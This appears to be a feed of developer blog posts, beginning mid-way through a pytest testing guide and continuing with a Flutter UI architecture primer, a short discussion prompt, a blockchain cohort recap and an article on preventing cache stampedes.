conftest.py is automatically discovered by pytest. Fixtures defined there are available to test files in the same directory and its subdirectories — it works like a shared pantry that any test file in that part of the tree can pull from without asking for a delivery.

For example:

tests/
├── conftest.py
├── core/
│   └── test_video_inspector.py
└── api/
    └── test_transcription.py

A fixture defined in tests/conftest.py is available to both tests/core/ and tests/api/.

You can also have a more specific conftest.py deeper in the tree:

tests/
├── conftest.py
└── core/
    ├── conftest.py
    └── test_video_inspector.py

The deeper fixture configuration can then be used specifically by that subtree. A useful convention is: root conftest.py for shared fixtures, nested conftest.py files for fixtures that are genuinely local to a particular test area.

Fixture Scope

Fixtures don't necessarily have to run for every test. You can control their lifetime:

@pytest.fixture(scope="function")  # default
@pytest.fixture(scope="module")    # once per test file
@pytest.fixture(scope="session")   # once per entire test run

The default is scope="function", which means a fresh fixture is created for every test. Prefer the default unless there is a good reason to reuse the fixture.

A broader scope can make sense when setup is genuinely expensive and safe to share. For example, generating a synthetic sample video once per session may be much cheaper than generating it once for every test.

Built-in Fixtures Worth Knowing

pytest provides several useful fixtures out of the box.

`tmp_path`

Provides a unique temporary directory for each test. Great for anything that needs to write files.

`caplog`

Captures logging output. Useful when you want to verify that something logged an error or warning.

`capsys`

Captures stdout and stderr. Useful for testing CLI output.

`monkeypatch`

Temporarily changes attributes, environment variables, dictionary entries, and other values. pytest automatically restores the changes after the test.

You can inspect available fixtures with:

uv run pytest --fixtures

`tmp_path` in Practice

Suppose you want to verify that audio extraction creates an actual file:

def test_extract_audio_writes_real_file(
    sample_video_path,
    tmp_path,
):
    output_path = tmp_path / "output.wav"

    result = extract_audio(
        str(sample_video_path),
        str(output_path),
    )

    assert result == str(output_path)
    assert output_path.exists()

This is an integration-style test. It actually runs FFmpeg and checks that a real file was created. But because tmp_path is temporary, the test doesn't leave generated files scattered around your project — pytest creates the directory and handles its cleanup.

Mocking: Two Tools, Different Jobs

Python gives you unittest.mock. pytest gives you monkeypatch. They overlap, but each one shines in a different situation.

`unittest.mock.patch`

Use patch when you want a more capable mock, particularly when you need to inspect how something was called.

from unittest.mock import patch


def test_metadata_no_audio():
    fake_probe = {
        "format": {
            "filename": "silent.mp4",
            "duration": "10.0",
        },
        "streams": [
            {
                "codec_type": "video",
                "r_frame_rate": "25/1",
            },
        ],
    }

    with patch(
        "clipper.core.video_inspector.ffmpeg.probe",
        return_value=fake_probe,
    ):
        result = get_video_metadata("silent.mp4")

    assert result["has_audio"] is False

patch temporarily replaces the target with a mock. It is particularly useful when you want to assert things like:

mock_input.assert_called_once_with("in.mp4")

`monkeypatch`

monkeypatch is pytest's own fixture. It's particularly convenient for simple temporary substitutions.

def test_uses_default_bitrate_env_var(monkeypatch):
    monkeypatch.setenv(
        "CLIPPER_DEFAULT_BITRATE",
        "256k",
    )

    assert get_default_bitrate() == "256k"

There's no context manager and no manual cleanup — pytest automatically restores the environment variable after the test. You can also replace attributes with monkeypatch.setattr(...) or dictionary entries with monkeypatch.setitem(...).

`patch` vs `monkeypatch`: A Practical Mental Model

Imagine your code is a toy robot and you want to test what happens when one of its components behaves differently. You don't want to actually break the component — you just want to temporarily pretend that it behaves differently.

monkeypatch is like putting a temporary sticky note over the component: "For this test, pretend this value is different." pytest removes the note when the test finishes.

patch is another version of the same idea, but with a much more powerful mock object behind it. patch can easily track call count, arguments, return values, exceptions, and chained calls.

Both clean themselves up reliably when used correctly. With patch, the common form in this project is:

with patch(...):
    ...

The mock is restored automatically when the block ends, even if the test fails.

Which One Should You Use?

A practical rule:

Need	Use
Assert how something was called	`patch`
Check call count or exact arguments	`patch`
Mock a chained/fluent API	`patch`
Replace an environment variable	`monkeypatch`
Temporarily change one attribute	`monkeypatch.setattr(...)`
Temporarily change a dictionary entry	`monkeypatch.setitem(...)`
Replace an external dependency and inspect the mock	`patch`

The important thing isn't to memorize a strict rule. It's to recognize the distinction:

If you need to inspect how the dependency was used, patch is usually the natural choice. If you just need to temporarily replace a value or attribute, monkeypatch is often simpler.

`side_effect`: Make a Mock Fail

Mocks aren't only useful for returning fake successful results. They can also simulate failures.

return_value means "always return this." side_effect means "raise this exception instead."

with patch(
    "clipper.core.video_inspector.ffmpeg.probe",
    side_effect=ffmpeg.Error(
        cmd="ffprobe",
        stdout=b"",
        stderr=b"bad file",
    ),
):
    result = get_video_metadata("bad.mp4")

This lets you exercise failure paths without needing to create a genuinely broken video file.

Mock the Boundary, Not Your Own Logic

This is probably the most important mocking rule in the entire guide:

Mock the boundary, not the logic you're trying to test.

Suppose your code does this:

probe = ffmpeg.probe(path)

The interesting logic is what your application does with the result. So mock ffmpeg.probe and provide realistic fake data — don't mock the parsing logic itself. A test that mocks everything, including the thing you're trying to test, can end up proving nothing more than: "my mocks returned what I told them to return."

Put another way — you're testing your recipe, not reinventing the oven. External boundaries are good mocking candidates:

FFmpeg
HTTP APIs
databases
filesystem operations
cloud services
external processes

Your own business logic is usually what you want to execute for real.

The Most Common Mocking Mistake: Patching the Wrong Path

This catches a lot of people. Suppose your module contains:

# video_inspector.py

import ffmpeg


def get_video_metadata(path):
    return ffmpeg.probe(path)

You might think you should patch ffmpeg.probe. But that's not necessarily the correct target — the code under test looks up ffmpeg in its own module namespace. Therefore, patch where the name is looked up:

patch(
    "clipper.core.video_inspector.ffmpeg.probe"
)

The general rule is:

Patch where the object is looked up, not where it was originally defined.

If you patch the wrong path, the real dependency may still run. That can make a test unexpectedly hit FFmpeg, the network, a database, or some other external system.

Mocking a Chained Call

Some APIs aren't a single function call. For example, ffmpeg-python can use a fluent chain:

ffmpeg.input(...).output(...).overwrite_output().run(...)

Mocking that requires walking the chain. MagicMock automatically creates mocks for attributes you access, so mock_input.return_value represents the result of ffmpeg.input(...), .output.return_value represents the next link in the chain, and so on until you reach .run — the actual operation you want to make fail.

def test_extract_audio_sad_path(caplog):
    fake_error = ffmpeg.Error(
        cmd="ffmpeg",
        stdout=b"",
        stderr=b"encoding failed",
    )

    with patch(
        "clipper.core.video_inspector.ffmpeg.input"
    ) as mock_input:
        mock_run = (
            mock_input
            .return_value
            .output
            .return_value
            .overwrite_output
            .return_value
            .run
        )
        mock_run.side_effect = fake_error

        result = extract_audio(
            "in.mp4",
            "out.wav",
        )

    assert result is None
    assert "error" in caplog.text.lower()

Walking the chain into its own variable (mock_run) before setting side_effect keeps the assignment itself simple and unambiguous — trying to set an attribute in the middle of a long parenthesized chain is a common source of syntax mistakes.

Organizing Your Test Files

A simple and predictable test layout goes a long way. If your source looks like:

src/
└── clipper/
    └── core/
        └── video_inspector.py

mirror it under tests/:

tests/
└── core/
    └── test_video_inspector.py

This makes it immediately obvious where the tests for a source module live.

Keep `tests/` Outside `src/`

Use:

project/
├── src/
├── tests/
└── pyproject.toml

rather than:

src/
├── clipper/
└── tests/

Keeping tests outside the package helps avoid accidentally shipping them with your built distribution and keeps the distinction between application code and test code clear.

You Usually Don't Need `init.py`

pytest doesn't require your test directories to be Python packages. So this is perfectly fine:

tests/
├── core/
│   └── test_video_inspector.py
└── api/
    └── test_transcription.py

No __init__.py required. There can be edge cases where you intentionally want package semantics, but don't add __init__.py to test directories just because you think pytest requires it. It doesn't.

Keep Fixtures Separate from Test Code

tests/
├── conftest.py
├── fixtures/
│   └── sample.mp4
└── core/
    └── test_video_inspector.py

This makes the distinction obvious: test_*.py contains test logic, fixtures/ contains test data.

Mark Slow and External Tests

Not every test costs the same amount to run. A test that calls real FFmpeg is different from a test that checks a pure Python function.

You can mark integration tests:

@pytest.mark.integration
def test_extract_audio_against_real_file(...):
    ...

Then register the marker in pyproject.toml:

[tool.pytest.ini_options]
markers = [
    "integration: calls real ffmpeg/ffprobe against a fixture file",
]

Now you can run the fast suite without integration tests:

pytest -m "not integration"

And run everything with:

pytest

This gives you a useful distinction between fast unit tests and slower integration tests.

Debugging pytest Without Sprinkling `print()` Everywhere

pytest captures output by default. That can be surprising when you're debugging — a print(result) that produces nothing on screen. Here are the options you'll reach for most often.

`-s`: Show stdout/stderr

uv run pytest -s

This disables output capturing, so your print() statements become visible. It's useful, although there are usually better debugging tools than adding prints everywhere.

`-k`: Run Tests by Name

If you're working on audio extraction, there's no reason to run 200 unrelated tests.

uv run pytest -k "extract_audio"

pytest runs tests whose names match the expression. This is one of the most useful options during active development.

`-x`: Stop at the First Failure

uv run pytest -x

Instead of getting a wall of failures, pytest stops after the first one. This is particularly useful when fixing a cascading failure.

`--pdb`: Drop Into the Debugger

uv run pytest --pdb

When a test fails, pytest drops you into an interactive debugger at the point of failure. Inside the debugger, you can inspect variables and control execution — c continues, q quits. This can be much faster than trying to predict where a bug is before running the test.

`-vv`: More Verbose Output

uv run pytest -vv

Useful when assertions involve large dictionaries, long strings, or parametrized tests and you want more detail in the output.

`--lf`: Run Only the Last Failures

uv run pytest --lf

--lf means "last failed." It reruns tests that failed during the previous run instead of running the entire suite. This is particularly useful when you're fixing several failures one by one.

A Practical Debugging Command

These options can be combined:

uv run pytest -k "extract_audio" -x --pdb

This means: run only tests matching extract_audio, stop at the first failure, and open the debugger at the failure. That's a very practical development loop.

Running a Specific Test

pytest doesn't natively use line numbers to select a test. This isn't standard pytest test selection:

pytest test_file.py:29

Instead, select by node ID:

pytest tests/core/test_video_inspector.py::test_metadata_no_audio

Or use -k:

pytest -k "metadata_no_audio"

Editors such as VS Code and PyCharm can provide "run this test" buttons. They translate your selection into pytest's name-based test selection behind the scenes. There are plugins that provide literal line-number selection, but you generally don't need one.

Quickly Inspecting a Return Value

Sometimes you just want to see what a function actually returned. One quick technique is to deliberately make an assertion fail:

def test_scratch(sample_video_path):
    result = get_video_metadata(str(sample_video_path))

    assert result == {}

If {} isn't the actual result, pytest's failure output will show you the value. Delete the temporary test afterward.

Another option is:

uv run pytest --showlocals

or the shorthand -l, which shows local variables when a test fails.

Dealing with Slow Tests

Don't guess which tests are slow. Measure them.

uv run pytest --durations=10

This reports the ten slowest tests after the run. You may discover that one or two tests account for most of the delay. Optimizing everything before measuring can waste the very time you're trying to save.

Mark Slow Tests

Tests that load a real model or perform real inference are good candidates for a slow marker:

@pytest.mark.slow
def test_transcribe_real_audio_produces_valid_shape(
    sample_speech_path,
):
    ...

[tool.pytest.ini_options]
markers = [
    "integration: calls real ffmpeg/ffprobe against a fixture file",
    "slow: tests that load a real model or run real transcription",
]

Then your normal development loop can skip them:

pytest -m "not slow"

And your complete suite can still run with pytest.

Caching Can Already Solve Some Performance Problems

Suppose your application loads a model once at module level, and subsequent calls reuse it. Then only the first test that needs the model may pay the expensive loading cost — the others can reuse the already-loaded instance.

You can verify whether this is actually happening with uv run pytest --durations=10. If the first model-related test is slow and subsequent tests are much faster, your existing caching may already be doing the job. If every test is slow, something may be reloading the model when it shouldn't. Measure first.

Parallelizing the Suite

If the entire suite is slow, rather than just a handful of expensive tests, parallel execution may help.

uv add --dev pytest-xdist
uv run pytest -n auto

-n auto lets xdist determine a useful number of workers. But don't reach for parallelization automatically — for many projects, simply excluding slow tests during development (pytest -m "not slow") is enough.

Coverage Is a Flashlight, Not a Scoreboard

Coverage is useful. It tells you which lines of code weren't exercised by your tests.

uv run pytest --cov=src

This can help you find code paths you haven't thought about. But coverage doesn't tell you whether your tests are good. You can achieve 100% coverage with tests that assert almost nothing meaningful:

def test_everything():
    my_function()

The code executed. Coverage increases. But the test may tell you almost nothing about whether the behavior is correct. So treat coverage as a flashlight — use it to illuminate parts of the code you haven't tested. Don't treat it as a scoreboard you have to maximize.

A Simple Checklist for Every New Test

When adding tests for a new function or feature, ask:

1. What's the happy path?

What should happen when everything is valid?

2. What's at least one edge case?

Consider: empty input, missing fields, boundary values, unexpected but valid combinations.

3. What's the failure mode?

What should happen when input is invalid, an external dependency fails, a file doesn't exist, or an API returns an unexpected result?

4. What should be mocked?

Usually mock things that are external, slow, non-deterministic, or side-effecting. But let your own logic run for real.

5. Is the test asking one question?

If the test name contains the word "and," that's sometimes a sign that you're testing two behaviors at once. A test should ideally answer one clear question.

The Mental Model I Ended Up With

pytest can look like a large collection of features when you're first learning it. But after working with it for a while, I found that most of what I actually needed came down to a few ideas.

Tests are ordinary Python functions. pytest discovers them through naming conventions.

Assertions are ordinary Python assert statements. pytest makes their failures informative.

Fixtures provide reusable things that tests need. conftest.py makes shared fixtures available without imports.

Parametrization lets you run the same test logic against multiple inputs.

Mocks let you replace boundaries you don't want to exercise for real. Things like FFmpeg, APIs, databases, and other external systems are often good candidates — while the logic you're actually testing should usually run normally.

Markers let you separate tests by purpose or cost. And the debugging tools make it much easier to figure out why something failed without resorting to print() everywhere.

Most importantly, I stopped thinking of testing as "how do I get my coverage number up?" and started thinking more in terms of "what question am I trying to answer with this test?" For me, that shift made pytest much easier to understand.

The syntax is the easy part. The useful part is learning what behavior is worth testing, what should be isolated, what should run for real, and how to make a failure tell you something useful.

Flutter’s UI Architecture Explained for Beginners: Widgets, Elements, and Render Objects

Sat, 10 Oct 2026 20:38:02 +0000

Flutter Basics

Flutter Basics Overview
Prerequisites
The Widget Tree in Flutter
- Key Components of the Widget Tree
  - Main Function
  - Cupertino vs Material Widgets
- Flutter Rendering and UI Architecture
Difference between Stateless & Stateful widgets
Stateful Widget Lifecycle
- How setState() triggers UI rebuilds
Text Changer App Example
Summary

Flutter Basics Overview

Prerequisites:

Basic understanding of dart programming language
Flutter installed on your system
Android studio and Xcode(for Mac)

What is Flutter?

Flutter is a declarative, reactive open-source, multiplatform UI toolkit developed by Google. It allows developers to build natively compiled applications for mobile, web, and desktop from a single codebase. Flutter uses the Dart programming language and provides a rich set of pre-designed widgets to create beautiful and responsive user interfaces.

Flutter developers often hear terms like everything in Flutter is a widget, and this is because Flutter's UI is built using a hierarchy of widgets called the widget tree. Widgets are the building blocks of a Flutter app's user interface, and they can be combined to create complex UIs.

Dart

Dart is an open-source client-optimized programming language developed by Google that compiles to the native machine code of the target platform without runtime overhead leading to fast startup times and predictable performance. It is designed to be easy to learn and use, with a syntax that is similar to other popular programming languages like Java, JavaScript, and C#. Dart is the primary language used for developing Flutter applications.

Declarative UI / Reactive Programming

Flutter uses a declarative approach: you simply describe what the UI should look like for a given state (like color: blue). The framework then uses reactive programming to automatically react to state changes and rebuild the UI efficiently.

Multiplatform Development

Multiplatform development refers to the ability to create applications that can run on multiple platforms using a single codebase. Flutter enables developers to build applications for iOS, Android, web, and desktop platforms using the same codebase, which significantly reduces development time and effort.

What exactly is State?

Now you may wonder what state is. In simple terms, state refers to the data or information that determines the behavior and appearance of a widget at a given time. For example, the state of a button widget may include whether it is enabled or disabled, its color, and its text label.

In Flutter, state can be managed in various ways, including using built-in stateful widgets, provider packages, or other state management solutions. The choice of state management technique depends on the complexity of the application and the specific requirements of the project.

Now, as the interface of an application is built using widgets, those widgets are combined to create a widget tree. The widget tree is a hierarchical structure that represents the relationship between different widgets in the application. Each widget in the tree can have its own state, which can be updated and managed independently.

When the state of a widget changes, Flutter automatically rebuilds the affected parts of the widget tree to reflect the new state. This is done using a process called rebuilding, which involves creating a new instance of the widget with the updated state and replacing the old instance in the widget tree.

This process is efficient and allows for smooth and responsive user interfaces, as only the affected parts of the widget tree are rebuilt, rather than the entire tree which facilitates the hot reload feature in Flutter.

The widget tree is structured in a hierarchical manner, with each widget having a parent-child relationship with other widgets. The root of the tree is typically the MaterialApp or CupertinoApp widget, which serves as the entry point for the application. From there, other widgets are added as children of the root widget, forming a tree-like structure.

Main Function

The main function is the entry point of a Flutter application. It is where the execution of the app begins. In the main function, we typically call the runApp function, which takes a widget as an argument and inflates it to fill the screen.

Cupertino vs Material Widgets

Flutter provides two sets of pre-designed widgets: Material widgets and Cupertino widgets. Material widgets are designed to follow the Material Design guidelines developed by Google, while Cupertino widgets are designed to follow the iOS design guidelines developed by Apple. Depending on the target platform, developers can choose to use either set of widgets or a combination of both to create a consistent user experience across different platforms.

Flutter Rendering and UI Architecture

Flutter initially renders the UI using skia, a 2D graphics rendering engine. Skia is responsible for drawing the UI elements on the screen, and it provides a high-performance rendering pipeline that allows for smooth animations and transitions. But with the release of Flutter 3.0, Flutter introduced a new rendering engine called Impeller, which is designed to provide even better performance and visual fidelity. Impeller is a next-generation rendering engine that leverages modern graphics APIs like Metal on iOS and Vulkan on Android to deliver high-quality graphics and smooth animations.

Flutter's rendering and UI architecture is primarily built upon three main trees:

Widget Tree: The widget tree is the hierarchical structure of widgets that make up the user interface of a Flutter application. Each widget in the tree represents a specific UI element, such as a button, text field, or image. The widget tree is responsible for defining the layout and appearance of the UI.
Element Tree: The element tree is a lower-level representation of the widget tree. It consists of Element objects, which are created for each widget in the widget tree (Like a copy of the widget). The element tree is responsible for managing the lifecycle of widgets, including their creation, updating, and destruction. It also handles the communication between widgets and their associated state.
Render Tree (or RenderObject Tree):: The render tree is the final representation of the UI that is used for painting on the screen. It consists of RenderObject instances, which are responsible for the actual layout and painting of the UI elements. The render tree is built from the element tree and is optimized for performance and efficiency during the rendering process.

In summary,

The Widget is the structural description of the UI (Blueprint). it is the immutable description of what the UI should look like and provides configuration and hierarchy.
The Element is the mutable brain that manages the lifecycle of the widget and holds the state. It acts as a bridge between the widget and the render object. Determines what needs to be updated when the widget's state changes.
The Render Object is the Builder/Artist that is responsible for the actual layout and painting(drawing pixels) of the UI on the screen. It takes care of measuring, positioning, and drawing the visual representation of the widget.

The interaction between these three trees is crucial for the efficient rendering of the UI in Flutter. When a widget's state changes, Flutter updates the widget tree, which in turn updates the element tree and the render tree. This process ensures that only the affected parts of the UI are redrawn, leading to smooth and responsive user interfaces.

Difference between Stateless & Stateful widgets

The widget tree can be broadly categorized into two types of widgets based on their ability to manage state:

Stateless Widgets: These are widgets that do not maintain any state. Once built, their appearance and behavior are fixed and cannot change. Stateless widgets are typically used for static content that does not require user interaction or dynamic updates.
Stateful Widgets: These are widgets that can maintain state over time. They can rebuild themselves when their state changes, allowing for dynamic and interactive user interfaces. Stateful widgets are used for content that needs to change in response to user input or other events.

Other kinds of widgets include:

Inherited Widgets: These widgets allow data to be passed down the widget tree efficiently. They are used for sharing data between widgets without the need for explicit passing through constructors. examples include Theme and MediaQuery.

Stateful widgets have a lifecycle that consists of several stages, each represented by specific methods that can be overridden to perform actions at different points in the widget's life. The key lifecycle methods of a stateful widget are:

createState(): This method is called when the stateful widget is first created. It returns an instance of the associated State class, which holds the mutable state for the widget.
initState(): This method is called after the stateful widget is created and before the widget is built for the first time. It is used to perform any initializations that are required for the state.
didChangeDependencies(): Called immediately after initState(), but before the widget is built for the first time. It's also called when an InheritedWidget that this State depends on changes. It is often a good place to initialize data that depends on the BuildContext (like Theme.of(context)), as initState() may be too early.
build(): This method is called whenever the widget needs to be rebuilt, either due to a change in state or when the parent widget rebuilds. It returns the widget tree that represents the UI of the stateful widget.
setState(): (Triggered by you) This method is used to notify the framework that the state of the widget has changed and that it needs to be rebuilt.

The image above illustrates how calling setState() leads to the invocation of the build() method, when the user hits enter after inputing a city name in the TextField. it fetches new weather data and updates the UI accordingly.
didUpdateWidget(): This method is called whenever the parent widget rebuilds and passes new configuration data down to the child stateful widget. It allows the state to respond to changes in the widget's properties by passing the updated stateful widget as a parameter.
deactivate(): This method is called when the State object is removed from the Element tree, but before it is disposed. This might happen temporarily if the widget is moved to a different part of the tree.
dispose(): This is called after deactivate() when the State object is permanently removed from the tree. This is the last method called, and it's essential to use it for cleanup (e.g., canceling timers, unsubscribing from streams, disposing of controllers) to prevent memory leaks.

The image above shows the dispose() method being called when the StatefulWidget which is a TextFormField controller is removed from the widget tree after a user submits a form. This ensures that resources are properly released and prevents memory leaks.

How setState() triggers UI rebuilds

The setState() method is a crucial part of the stateful widget lifecycle in Flutter. When you call setState(), you are indicating to the Flutter framework that the internal state of the widget has changed and that the widget needs to be rebuilt to reflect those changes in the UI.
When setState() is called, the following sequence of events occurs:

The callback function passed to setState() is executed, allowing you to update the state variables of the widget.
After the state has been updated, Flutter marks the widget as needing to be rebuilt.
The framework schedules a rebuild of the widget tree, starting from the stateful widget that called setState().
During the rebuild process, the build() method of the stateful widget is called, which constructs a new widget tree based on the updated state.
The framework compares the new widget tree with the previous one and determines which parts of the UI need to be updated.
Finally, the framework updates the UI by redrawing only the affected parts of the widget tree, resulting in a smooth and efficient update to the user interface.

Text Changer App Example

Click Here to view the Text Changer App Explanation.

Summary

In summary, the three trees in Flutter's rendering architecture work together to create a responsive and efficient UI. The widget tree defines the structure and appearance of the UI, the element tree manages the lifecycle and state of the widgets, and the render tree is responsible for the actual painting of the UI on the screen. Understanding these trees and their interactions is key to building performant Flutter applications.

What's something "every developer knows" that you secretly had to Google yesterday?

Wed, 07 Oct 2026 15:50:54 +0000

I'll go first. Yesterday I Googled "how to center a div" for approximately the four hundredth time in my career.

No shame. Just facts.

What's yours?

Blockchain Isn't About Crypto.It's About a Trust Problem You Didn't Know You Had

Wed, 07 Oct 2026 11:02:50 +0000

Before we started the first session of BinnaDevLab Cohorts, I knew one thing with certainty:

If we opened with the word "blockchain," we'd lose half of the room.

Not because the topic is hard. Because the word carries baggage. Crypto speculation. NFT mania. Headlines about scams and volatility. By the time most developers hear "blockchain," they've already formed an opinion and it's usually dismissive.

So we didn't start there.

We started with a question.

"Think of an app you used this morning. Name it."

That was the warm-up exercise Uchenna Ofoma, our facilitator for Session 1 put to the cohort.

The answers came quickly.

Opay. WhatsApp. Gmail. Facebook. Sporty.

Uchenna nodded at each one. Then he asked the follow-up question. The one that changed everything:

"Who were you actually trusting?"

The room went quiet.

Not the app. Not the company. When you send ₦5,000 on Opay, you're trusting:

Opay's servers to record the transaction accurately
The commercial bank Opay connects to
NIBSS to clear the interbank transfer
The KYC provider that verified both account holders
The CBN regulatory framework sitting beneath all of it

You weren't trusting one party. You were trusting a chain and you had zero visibility into any link of it.

That's not a crypto problem. That's not a web3 problem. That's a software engineering problem that exists in every application you've ever built or used.

And that is the real reason blockchain was invented.

Why We Built BinnaDevLab Around This

When I started BinnaDevLab Cohorts, the goal was simple but specific: train developers to reason at a global level not just to write code, but to understand why systems are designed the way they are.

The industry is full of bootcamps that teach you to ship fast. We wanted to build something different. A program built on the principle that reasoning comes before coding. That understanding the problem deeply is the actual skill, the code is just the output.

Blockchain was the perfect first topic. Not because it's trendy. Because it sits at the intersection of distributed systems, game theory, cryptography, and trust and most introductions to it skip all of that in favour of price charts.

We wanted to go the other way.

What Actually Happens When Trust Breaks

🎬 Prefer to watch? The full 64-minute session is on YouTube
Blockchain Fundamentals Explained | BinnaDevLab Cohort 1, Session 1

Uchenna spent the core of Session 1 on a deceptively simple question: where does the trust network fail?

The answer: single points of failure.

Every link in that chain we described: Opay, the bank, NIBSS, the KYC provider is a centralised entity. That means:

One server goes down -> transactions fail
One database is compromised -> your data is leaked
One regulatory decision -> your account is frozen without warning
One bad actor inside the organisation -> the records are altered

You have no way to verify what's happening. You're trusting the institution to be honest, competent, and well-intentioned. Usually they are. But the system requires you to trust them, you have no alternative.

Blockchain's argument is not that institutions are corrupt. It's that you shouldn't have to assume they're honest. The system should be designed so that anyone can verify the truth not just the people running the servers.

In practice, that means:

Instead of rules locked on a private server -> rules deployed as code, in public
Instead of promises -> anyone can read the code and check exactly what it does
Instead of one keeper -> everyone keeps a copy, and no single party can rewrite history

That's not magic. That's engineering. And it comes with real costs.

The Honest Trade-offs (Most Courses Skip This Part)

One of the things I'm proudest of in how Uchenna ran Session 1 is that he didn't sell blockchain. He explained it including the parts that hurt.

Distributed verification is slower than a centralised server. Always. If you need instant transaction finality, a blockchain is the wrong tool.

It's more expensive to run. Every node in the network has to process every transaction. That cost is real and it compounds at scale.

Finality works differently. On your bank app, if you send money to the wrong person, you call customer service. On a public blockchain, the transaction is final. There is no customer service. The code runs.

And perhaps the sharpest point: blockchain doesn't remove trust. It relocates it. You stop trusting institutions and start trusting code, mathematics, and the incentive structures of a decentralised network. That's a different kind of trust, more auditable, more transparent, but trust nonetheless.

Understanding those trade-offs is what separates engineers who can reason about distributed systems from developers who just know how to call a Web3 library.

Watch the Full Session

Everything I've described above is the skeleton of a 64-minute live session with audience interaction, Q&A, and a cohort working through these ideas in real time.

Uchenna also covered:

A brief history of blockchain (Bitcoin 2008 -> Ethereum 2015 -> today)
Public vs. private blockchains and why each exists
What Ethereum and the EVM actually are
What people are building on Ethereum right now
Consensus mechanisms: Proof-of-Work, Proof-of-Stake, Proof-of-History
A live Q&A: does blockchain make systems trustless, or does it just shift the trust?

If this article gave you the argument, the video gives you the full picture including the moments where the cohort pushed back and Uchenna had to defend his reasoning in real time.

That's the kind of session we wanted to build. Not a lecture. A thinking session.

Watch here 👉 Blockchain Fundamentals Explained | BinnaDevLab Cohort 1, Session 1

What's Next

Session 2 is hands-on. Obinna takes the cohort from theory into code writing and deploying a smart contract in Solidity, live.

If Session 1 answers why blockchain exists, Session 2 answers how you build on it.

Follow BinnaDevLab to catch it when it drops.

About BinnaDevLab

BinnaDevLab is a developer training community built around one idea: reason before you code.

We run structured cohorts for developers who want to build with depth not just ship fast.

🌐 binnadev.com

The Cache Stampede Problem: Why a Popular Cache Key Can Take Down Your Backend

Wed, 07 Oct 2026 07:49:40 +0000

Caches are supposed to protect your backend from load. Most of the time they do. But there is a specific failure mode where the cache itself becomes the trigger for an outage: the cache stampede, also known as the thundering herd problem. It shows up in systems that otherwise look healthy, which is what makes it so disruptive when it finally happens.

What a Cache Stampede Is

A cache stampede happens when a single cached value, one that many requests depend on, expires or gets evicted, and a large number of requests notice the miss at roughly the same time. Instead of one request recomputing the value and everyone else reading it from cache, every one of those requests independently decides the cache is empty and goes to fetch or recompute the value itself.

If that value is expensive to produce (a complex database query, an aggregation across several services, a slow third-party API call), you now have dozens, hundreds, or thousands of copies of that expensive work running at once, all hitting the same downstream system within the same few hundred milliseconds. The system that the cache was shielding suddenly sees a spike that looks nothing like normal traffic, and it can fall over under the load.

The term "thundering herd" originally described a related operating systems problem, where many processes blocked on the same event all wake up at once when it fires, even though only one of them can actually make progress. The cache version is the same shape: one event (a cache miss) triggers many redundant reactions.

Why This Happens

The core issue is that a cache miss is usually interpreted the same way regardless of how many requests encounter it. Each request runs the same logic: check the cache, find nothing, recompute, write the result back. There is nothing in that logic that asks "is someone else already recomputing this right now?"

This is especially easy to trigger with a few common patterns:

A hot key with a hard TTL. If a widely used cache entry expires at a fixed time, and that key receives steady or bursty traffic, every request arriving in the moment right after expiry triggers its own cache miss.

A cold cache after a deploy or restart. Clearing or rebuilding a cache (intentionally or as a side effect of a deployment) empties out many hot keys at once. Traffic that was previously served entirely from cache now needs to be recomputed, all at the same time.

A popular key going viral. A sudden spike in requests for one specific item (a trending product page, a breaking news article, a suddenly popular API resource) can overwhelm the system the moment that item's cache entry needs to be refreshed, simply because the request volume for that one key is so much higher than normal.

A Concrete Example

Imagine an API endpoint that returns a leaderboard, computed from a query that scans a large table and takes 800 milliseconds to run. The result is cached for 60 seconds because the leaderboard does not need to be perfectly real time.

Under normal traffic, this works well: one request pays the 800 millisecond cost every 60 seconds, and everyone else reads the cached result in a few milliseconds. But suppose this endpoint gets hit 500 times per second. The instant the cached value expires, up to 500 requests in the next second can all see a cache miss before the first recomputation finishes and gets written back. That is potentially 500 concurrent 800 millisecond queries landing on the database at once, instead of one. Depending on the database's connection limits and query concurrency, this alone can be enough to cause timeouts, connection exhaustion, or a cascading slowdown that affects unrelated endpoints sharing the same database.

How Engineers Prevent Cache Stampedes

There is no single fix that applies everywhere, but a handful of techniques cover most real systems, and they are often combined.

Locking around recomputation. When a cache miss occurs, the first request to notice acquires a lock (often a short lived lock in Redis or a similar store) and does the work of recomputing the value. Other requests that see the same miss either wait briefly for the lock holder to finish and then read the fresh value, or fall back to a slightly stale value if one is available. This turns "many requests recompute" into "one request recomputes, everyone else waits or reads stale."

Request coalescing (single flight). Similar to locking, but implemented in application code: if a recomputation for a given key is already in flight, new requests for that same key are attached to the in-flight call instead of starting a new one, and all of them receive the same result when it completes. This avoids the lock and retry overhead of a distributed lock, at the cost of needing in-process coordination.

Jitter on TTLs. Instead of every instance of a cached value expiring at exactly the same time, add a small random offset to each TTL (for example, 60 seconds plus or minus 10 seconds, picked randomly per entry). This spreads expirations out over a window instead of letting them cluster, which reduces the odds that many keys, or many copies of the same key across cache nodes, expire in the same instant.

Stale while revalidate. Serve the existing cached value even after it has technically expired, while kicking off a background refresh to update it. Users get a fast response from slightly stale data, and only one request (or a small, bounded number) ever pays the cost of recomputing. This is the same idea used in HTTP's Cache-Control: stale-while-revalidate directive, and it generalizes well to application level caches too.

Probabilistic early expiration. Rather than waiting for a hard expiry, each read has a small, increasing probability of proactively triggering a background refresh as the entry approaches its expiry time. This spreads refresh work out over time and makes it very unlikely that an entry is ever read by many requests at the exact moment it goes stale. This approach was described in a well known paper from Facebook's engineering team and is sometimes referred to by the name used there, XFetch.

Choosing the Right Approach

Jitter is close to free and worth adding almost anywhere you have many cache entries with the same TTL, since it costs nothing but a small code change. Locking or request coalescing is the right call when recomputing the value is expensive and you can tolerate a short wait for the small number of requests that lose the race. Stale while revalidate is a good fit when slightly outdated data is acceptable and you want to avoid making any user wait on a slow recomputation. Probabilistic early expiration is worth the extra complexity for your highest traffic, highest cost cache entries, where even a brief stampede would be expensive.

None of these require tearing out an existing caching layer. Most caching libraries and services (Redis, Memcached, CDNs, and application level caches) support at least one of these patterns, and adding jitter or a simple lock around recomputation is often a small, isolated change rather than an architectural rewrite.

The broader lesson is that a cache's job is not just to store values, it is to make sure expensive work happens once, not once per concurrent request. Any caching strategy that does not account for what happens when many requests see the same miss at the same time is missing half the problem.

The Circuit Breaker Pattern: Stopping Cascading Failures in Microservices

Fri, 02 Oct 2026 17:50:32 +0000

